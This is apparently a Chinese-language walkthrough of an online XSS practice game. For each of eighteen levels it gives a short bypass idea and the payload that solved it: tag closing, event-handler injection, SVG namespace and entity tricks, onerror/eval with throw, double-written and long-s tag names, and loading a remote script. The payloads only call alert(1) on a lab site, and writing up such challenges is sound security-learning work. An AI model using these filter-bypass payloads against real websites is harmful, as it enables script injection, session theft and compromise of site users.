目录
一、环境
二、正式开始闯关
0x01
0x02
0x03
0x04
0x05
0x06
0x07
0x08
0x0B
0x0C
0x0D
0x0E
0x0F
0x10
0x11
0x12
一、环境
在线环境(gethub上面的)
alert(1)
二、正式开始闯关
0x01
源码:
思路:闭合标签注入
</textarea><script>alert(1)</script>
0x02
源码:
思路:跟上一题一样
1" onclick="alert(1)
也可以用户不参与去触发给后面加一个标签就可以了
1"><script>alert(1)</script>
0x03
源码:
思路: 有一个正则把括号过滤掉了,用html实体转码
很明显不行,那试一下<a>标签
<a href="javascript:alert(1)">aaaaa</a>
很容易过了
原因:编码是有顺序的,urlcode-->html实体编码--->unicode实体编码
第二种方法:括号替换
<script>alert`1`</script>
0x04
刚才第三关的第一种做法是照样绕过的
svg标签是照样绕过的
<svg><script>alert(1)</script></svg>
svg和html是不同的命名空间,在svg中script是可以实现一个实体编码的
还有一种方法Windows.oneror
<script>window.onerror=eval;throw'=alert\u00281\u0029'</script>
throw是抛异常的,我们再用eval接到,在throw下可以支持符号编码
0x05
闭合输出
--!><script>alert(1)</script>
0x06
利用点:html支持换行
因为on和等号是整体所以加了等号
onclick
=alert(1)
还有一种用户不参与的方式
type=image src=1 onerror
=alert(1)
0x07
利用html自动纠错
<img src=1 onerror="alert(1)"
<svg/onload="alert(1)"
0x08
源码:
解法:固定过滤,利用空格
0x09
一个小技巧
https://www.segmentfault.com.haozi.me/j.js
很明显
0x0A
跟上一关一样,解析顺序,解析的时候已经被实体编码转译了
0x0B
我们正常操作无法绕过直接进行实体编码,直接也就过了
</h1><svg><script>alert(1)</script>
单标签也可以绕过
<img src=1 onerror=alert(1)>
0x0C
单标签也可以绕过
<img src=1 onerror=alert(1)>
双写也可以绕过
<scrscriptipt src="https://www.segmentfault.com.haozi.me/j.js"></scrscriptipt>
0x0D
技巧:写在前面可以注释,写在后面无法注释了
alert(1)
-->
0x0E
技巧:字符替换
长s字符:ſ
<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>
0x0F
原理:先编码再解码
');alert('1
0x10
先闭合掉
1;alert(1)
0x11
利用替换两个反斜杠
");alert("1
0x12
转义符没有被过滤
\"); alert(1); //
第二种方法:通过闭合前面script标签来再输入script标签
</script> <script>alert(1)</script><script>